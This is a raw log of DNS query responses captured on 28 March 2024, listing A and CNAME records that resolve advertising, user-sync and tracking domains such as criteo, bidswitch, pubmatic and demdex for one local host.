Mar 28, 2024 09:51:31.213536024 CET	1.1.1.1	192.168.2.4	0x63e6	No error (0)	widget.va1.vip.prod.criteo.com		74.119.119.150	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.213871956 CET	1.1.1.1	192.168.2.4	0x740e	No error (0)	dis.criteo.com	widget.va1.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.219494104 CET	1.1.1.1	192.168.2.4	0x8dcd	No error (0)	creativecdn.com		185.184.8.90	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.221736908 CET	1.1.1.1	192.168.2.4	0x56af	No error (0)	api-2-0.spot.im		18.160.41.114	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.221736908 CET	1.1.1.1	192.168.2.4	0x56af	No error (0)	api-2-0.spot.im		18.160.41.38	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.221736908 CET	1.1.1.1	192.168.2.4	0x56af	No error (0)	api-2-0.spot.im		18.160.41.2	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.221736908 CET	1.1.1.1	192.168.2.4	0x56af	No error (0)	api-2-0.spot.im		18.160.41.89	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.222254992 CET	1.1.1.1	192.168.2.4	0xf40e	No error (0)	x.bidswitch.net	user-data-us-east.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.222254992 CET	1.1.1.1	192.168.2.4	0xf40e	No error (0)	user-data-us-east.bidswitch.net		35.211.178.172	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.222644091 CET	1.1.1.1	192.168.2.4	0xa220	No error (0)	x.bidswitch.net	user-data-us-east.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.224296093 CET	1.1.1.1	192.168.2.4	0x7944	No error (0)	match.prod.bidr.io		52.73.182.2	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.224296093 CET	1.1.1.1	192.168.2.4	0x7944	No error (0)	match.prod.bidr.io		54.156.236.4	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.224296093 CET	1.1.1.1	192.168.2.4	0x7944	No error (0)	match.prod.bidr.io		54.158.112.225	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.224296093 CET	1.1.1.1	192.168.2.4	0x7944	No error (0)	match.prod.bidr.io		54.144.190.182	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.224296093 CET	1.1.1.1	192.168.2.4	0x7944	No error (0)	match.prod.bidr.io		54.166.225.0	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.224296093 CET	1.1.1.1	192.168.2.4	0x7944	No error (0)	match.prod.bidr.io		54.162.92.254	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.224296093 CET	1.1.1.1	192.168.2.4	0x7944	No error (0)	match.prod.bidr.io		52.7.132.209	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.224296093 CET	1.1.1.1	192.168.2.4	0x7944	No error (0)	match.prod.bidr.io		54.146.101.13	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.271517038 CET	1.1.1.1	192.168.2.4	0x781d	No error (0)	image8.pubmatic.com	image8-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.271517038 CET	1.1.1.1	192.168.2.4	0x781d	No error (0)	image8-v2.pubmnet.com	imagesync-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.271517038 CET	1.1.1.1	192.168.2.4	0x781d	No error (0)	imagesync-vac.pubmnet.com		8.28.7.82	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.272355080 CET	1.1.1.1	192.168.2.4	0x7d7c	No error (0)	ums.acuityplatform.com		69.90.254.78	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.272906065 CET	1.1.1.1	192.168.2.4	0xe60a	No error (0)	image8.pubmatic.com	image8-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.272906065 CET	1.1.1.1	192.168.2.4	0xe60a	No error (0)	image8-v2.pubmnet.com	imagesync33000-fpb.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.275770903 CET	1.1.1.1	192.168.2.4	0x82c1	No error (0)	idsync.rlcdn.com		35.244.154.8	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.281831980 CET	1.1.1.1	192.168.2.4	0x125d	No error (0)	gum.criteo.com	gum.va1.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.281831980 CET	1.1.1.1	192.168.2.4	0x125d	No error (0)	gum.va1.vip.prod.criteo.com		74.119.119.139	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.282517910 CET	1.1.1.1	192.168.2.4	0x73d1	No error (0)	gum.criteo.com	gum.va1.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.284773111 CET	1.1.1.1	192.168.2.4	0xc7d8	No error (0)	assets.a-mo.net	assets.a-mo.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.287074089 CET	1.1.1.1	192.168.2.4	0x44db	No error (0)	assets.a-mo.net	assets.a-mo.net.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.287861109 CET	1.1.1.1	192.168.2.4	0x6abd	No error (0)	static.smilewanted.com		104.22.31.209	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.287861109 CET	1.1.1.1	192.168.2.4	0x6abd	No error (0)	static.smilewanted.com		172.67.14.119	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.287861109 CET	1.1.1.1	192.168.2.4	0x6abd	No error (0)	static.smilewanted.com		104.22.30.209	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.288048029 CET	1.1.1.1	192.168.2.4	0x278	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.288048029 CET	1.1.1.1	192.168.2.4	0x278	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.288048029 CET	1.1.1.1	192.168.2.4	0x278	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.288048029 CET	1.1.1.1	192.168.2.4	0x278	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		3.225.218.10	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.288048029 CET	1.1.1.1	192.168.2.4	0x278	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		34.200.65.202	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.288428068 CET	1.1.1.1	192.168.2.4	0xaabd	No error (0)	static.smilewanted.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:31.288841009 CET	1.1.1.1	192.168.2.4	0x3177	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.288841009 CET	1.1.1.1	192.168.2.4	0x3177	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.288841009 CET	1.1.1.1	192.168.2.4	0x3177	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.288955927 CET	1.1.1.1	192.168.2.4	0x57a3	No error (0)	oajs.openx.net		34.120.135.53	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.288955927 CET	1.1.1.1	192.168.2.4	0x57a3	No error (0)	oajs.openx.net		34.120.107.143	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.299819946 CET	1.1.1.1	192.168.2.4	0x551a	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.299819946 CET	1.1.1.1	192.168.2.4	0x551a	No error (0)	gslb-2.demdex.net	edge-va6.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.299819946 CET	1.1.1.1	192.168.2.4	0x551a	No error (0)	edge-va6.demdex.net	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.299819946 CET	1.1.1.1	192.168.2.4	0x551a	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		34.205.236.190	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.299819946 CET	1.1.1.1	192.168.2.4	0x551a	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		52.201.103.10	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.299819946 CET	1.1.1.1	192.168.2.4	0x551a	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		18.205.173.75	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.299819946 CET	1.1.1.1	192.168.2.4	0x551a	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		52.73.237.231	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.299819946 CET	1.1.1.1	192.168.2.4	0x551a	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		3.227.87.201	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.299819946 CET	1.1.1.1	192.168.2.4	0x551a	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		52.201.158.5	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.299819946 CET	1.1.1.1	192.168.2.4	0x551a	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		54.85.179.91	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.299819946 CET	1.1.1.1	192.168.2.4	0x551a	No error (0)	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		54.166.124.12	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.302757978 CET	1.1.1.1	192.168.2.4	0x671	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.302757978 CET	1.1.1.1	192.168.2.4	0x671	No error (0)	gslb-2.demdex.net	edge-va6.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.302757978 CET	1.1.1.1	192.168.2.4	0x671	No error (0)	edge-va6.demdex.net	dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.310338020 CET	1.1.1.1	192.168.2.4	0x58f5	No error (0)	bh.contextweb.com	sjc-bh.contextweb.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.310338020 CET	1.1.1.1	192.168.2.4	0x58f5	No error (0)	sjc-bh.contextweb.com	sjc-direct-bgp.contextweb.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.310338020 CET	1.1.1.1	192.168.2.4	0x58f5	No error (0)	sjc-direct-bgp.contextweb.com		74.214.196.131	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.316006899 CET	1.1.1.1	192.168.2.4	0x2f70	No error (0)	bh.contextweb.com	lga-bh.contextweb.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.316006899 CET	1.1.1.1	192.168.2.4	0x2f70	No error (0)	lga-bh.contextweb.com	lga-direct-bgp.contextweb.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.323067904 CET	1.1.1.1	192.168.2.4	0xaffd	No error (0)	cs.krushmedia.com		8.2.110.134	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.347111940 CET	1.1.1.1	192.168.2.4	0xe374	No error (0)	pixel-us-east.rubiconproject.com	pixel-us-east.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.348148108 CET	1.1.1.1	192.168.2.4	0x834e	No error (0)	pixel-us-east.rubiconproject.com	pixel-us-east.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.349737883 CET	1.1.1.1	192.168.2.4	0x3bc2	No error (0)	data.adsrvr.org	match.adsrvr.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.349737883 CET	1.1.1.1	192.168.2.4	0x3bc2	No error (0)	match.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.349737883 CET	1.1.1.1	192.168.2.4	0x3bc2	No error (0)	match.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.349737883 CET	1.1.1.1	192.168.2.4	0x3bc2	No error (0)	match.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.349737883 CET	1.1.1.1	192.168.2.4	0x3bc2	No error (0)	match.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.352060080 CET	1.1.1.1	192.168.2.4	0xd800	No error (0)	data.adsrvr.org	match.adsrvr.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:31.357420921 CET	1.1.1.1	192.168.2.4	0xd16f	No error (0)	sync.1rx.io		69.194.240.13	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.601020098 CET	1.1.1.1	192.168.2.4	0x552f	No error (0)	dsp.adfarm1.adition.com		85.114.159.118	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.601020098 CET	1.1.1.1	192.168.2.4	0x552f	No error (0)	dsp.adfarm1.adition.com		85.114.159.93	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.058660030 CET	1.1.1.1	192.168.2.4	0x55fa	No error (0)	ssbsync-global.smartadserver.com	usersync-geo-global.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:32.058660030 CET	1.1.1.1	192.168.2.4	0x55fa	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.116	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.058660030 CET	1.1.1.1	192.168.2.4	0x55fa	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.143	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.058660030 CET	1.1.1.1	192.168.2.4	0x55fa	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.53	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.058660030 CET	1.1.1.1	192.168.2.4	0x55fa	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.171	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.058660030 CET	1.1.1.1	192.168.2.4	0x55fa	No error (0)	ssbsync-use1.smartadserver.com		23.105.14.101	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.058660030 CET	1.1.1.1	192.168.2.4	0x55fa	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.5	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.058660030 CET	1.1.1.1	192.168.2.4	0x55fa	No error (0)	ssbsync-use1.smartadserver.com		23.105.14.100	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.058660030 CET	1.1.1.1	192.168.2.4	0x55fa	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.158	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.058660030 CET	1.1.1.1	192.168.2.4	0x55fa	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.117	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.058660030 CET	1.1.1.1	192.168.2.4	0x55fa	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.69	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.058660030 CET	1.1.1.1	192.168.2.4	0x55fa	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.170	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.058660030 CET	1.1.1.1	192.168.2.4	0x55fa	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.52	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.058660030 CET	1.1.1.1	192.168.2.4	0x55fa	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.4	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.058660030 CET	1.1.1.1	192.168.2.4	0x55fa	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.68	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.058660030 CET	1.1.1.1	192.168.2.4	0x55fa	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.159	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.058660030 CET	1.1.1.1	192.168.2.4	0x55fa	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.36	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.058660030 CET	1.1.1.1	192.168.2.4	0x55fa	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.142	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.058660030 CET	1.1.1.1	192.168.2.4	0x55fa	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.37	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.059809923 CET	1.1.1.1	192.168.2.4	0xfe76	No error (0)	ssbsync-global.smartadserver.com	usersync-geo-global.usersync-prod-sas.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:32.757678032 CET	1.1.1.1	192.168.2.4	0x6440	No error (0)	mwzeom.zeotap.com		104.22.50.98	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.757678032 CET	1.1.1.1	192.168.2.4	0x6440	No error (0)	mwzeom.zeotap.com		172.67.40.173	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.757678032 CET	1.1.1.1	192.168.2.4	0x6440	No error (0)	mwzeom.zeotap.com		104.22.51.98	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.760111094 CET	1.1.1.1	192.168.2.4	0xf973	No error (0)	mwzeom.zeotap.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:32.763040066 CET	1.1.1.1	192.168.2.4	0xb47c	No error (0)	sync.richaudience.com		162.55.236.225	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.785041094 CET	1.1.1.1	192.168.2.4	0x9663	No error (0)	partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:32.785041094 CET	1.1.1.1	192.168.2.4	0x9663	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		18.213.142.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.785041094 CET	1.1.1.1	192.168.2.4	0x9663	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.20.155.182	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.785041094 CET	1.1.1.1	192.168.2.4	0x9663	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		44.198.9.239	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.785041094 CET	1.1.1.1	192.168.2.4	0x9663	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.20.254.92	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.785041094 CET	1.1.1.1	192.168.2.4	0x9663	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		54.210.30.134	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.785041094 CET	1.1.1.1	192.168.2.4	0x9663	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.200.171.98	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.785041094 CET	1.1.1.1	192.168.2.4	0x9663	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		44.216.86.20	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.785041094 CET	1.1.1.1	192.168.2.4	0x9663	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.71.237.157	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.786046028 CET	1.1.1.1	192.168.2.4	0x7b5f	No error (0)	partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:32.802624941 CET	1.1.1.1	192.168.2.4	0xa3fe	No error (0)	live.rezync.com		52.85.151.7	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.802624941 CET	1.1.1.1	192.168.2.4	0xa3fe	No error (0)	live.rezync.com		52.85.151.108	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.802624941 CET	1.1.1.1	192.168.2.4	0xa3fe	No error (0)	live.rezync.com		52.85.151.51	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.802624941 CET	1.1.1.1	192.168.2.4	0xa3fe	No error (0)	live.rezync.com		52.85.151.109	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.805316925 CET	1.1.1.1	192.168.2.4	0xffa2	No error (0)	sync.crwdcntrl.net		34.198.123.133	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.805316925 CET	1.1.1.1	192.168.2.4	0xffa2	No error (0)	sync.crwdcntrl.net		44.219.90.173	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.805316925 CET	1.1.1.1	192.168.2.4	0xffa2	No error (0)	sync.crwdcntrl.net		44.205.216.19	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.805316925 CET	1.1.1.1	192.168.2.4	0xffa2	No error (0)	sync.crwdcntrl.net		34.232.211.121	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.805316925 CET	1.1.1.1	192.168.2.4	0xffa2	No error (0)	sync.crwdcntrl.net		107.23.193.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.805316925 CET	1.1.1.1	192.168.2.4	0xffa2	No error (0)	sync.crwdcntrl.net		18.214.22.186	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.805316925 CET	1.1.1.1	192.168.2.4	0xffa2	No error (0)	sync.crwdcntrl.net		52.207.168.130	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.805316925 CET	1.1.1.1	192.168.2.4	0xffa2	No error (0)	sync.crwdcntrl.net		54.234.166.1	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.819577932 CET	1.1.1.1	192.168.2.4	0x3e2f	No error (0)	cm.ctnsnet.com		35.186.193.173	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.877763987 CET	1.1.1.1	192.168.2.4	0x1b8b	No error (0)	s.company-target.com	s.dsp-prod.demandbase.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:32.878000975 CET	1.1.1.1	192.168.2.4	0x73d3	No error (0)	s.company-target.com	s.dsp-prod.demandbase.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:32.878000975 CET	1.1.1.1	192.168.2.4	0x73d3	No error (0)	s.dsp-prod.demandbase.com		34.96.71.22	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.878449917 CET	1.1.1.1	192.168.2.4	0xbb0e	No error (0)	token.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:32.879779100 CET	1.1.1.1	192.168.2.4	0x6da3	No error (0)	token.rubiconproject.com	pixel.rubiconproject.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:32.881627083 CET	1.1.1.1	192.168.2.4	0x325f	No error (0)	eb2.3lift.com	na-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:32.881627083 CET	1.1.1.1	192.168.2.4	0x325f	No error (0)	na-eb2.3lift.com	us-east-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:32.881627083 CET	1.1.1.1	192.168.2.4	0x325f	No error (0)	us-east-eb2.3lift.com		35.71.139.29	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.881627083 CET	1.1.1.1	192.168.2.4	0x325f	No error (0)	us-east-eb2.3lift.com		52.223.22.214	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.882052898 CET	1.1.1.1	192.168.2.4	0x5ef6	No error (0)	eb2.3lift.com	na-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:32.882052898 CET	1.1.1.1	192.168.2.4	0x5ef6	No error (0)	na-eb2.3lift.com	us-east-eb2.3lift.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:32.883225918 CET	1.1.1.1	192.168.2.4	0xa284	No error (0)	us01.z.antigena.com		40.76.134.238	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.885246038 CET	1.1.1.1	192.168.2.4	0xed26	No error (0)	de.tynt.com		67.202.105.31	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.885246038 CET	1.1.1.1	192.168.2.4	0xed26	No error (0)	de.tynt.com		67.202.105.34	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:33.478669882 CET	1.1.1.1	192.168.2.4	0x8d2a	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:33.478669882 CET	1.1.1.1	192.168.2.4	0x8d2a	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:33.478669882 CET	1.1.1.1	192.168.2.4	0x8d2a	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:33.478669882 CET	1.1.1.1	192.168.2.4	0x8d2a	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		3.225.218.10	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:33.478669882 CET	1.1.1.1	192.168.2.4	0x8d2a	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		34.200.65.202	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:33.480511904 CET	1.1.1.1	192.168.2.4	0x3fc	No error (0)	ups.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:33.480511904 CET	1.1.1.1	192.168.2.4	0x3fc	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:33.480511904 CET	1.1.1.1	192.168.2.4	0x3fc	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:34.094789028 CET	1.1.1.1	192.168.2.4	0x833e	No error (0)	b1sync.zemanta.com	b1-use1.zemanta.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:34.094789028 CET	1.1.1.1	192.168.2.4	0x833e	No error (0)	b1-use1.zemanta.com	zemanta-nychi2.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:34.094789028 CET	1.1.1.1	192.168.2.4	0x833e	No error (0)	zemanta-nychi2.outbrain.org	nydc1.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:34.094789028 CET	1.1.1.1	192.168.2.4	0x833e	No error (0)	nydc1.outbrain.org		70.42.32.127	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:34.095005035 CET	1.1.1.1	192.168.2.4	0x577	No error (0)	b1sync.zemanta.com	b1-use1.zemanta.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:34.095005035 CET	1.1.1.1	192.168.2.4	0x577	No error (0)	b1-use1.zemanta.com	zemanta-nychi2.outbrain.org		CNAME (Canonical name)	IN (0x0001)	false
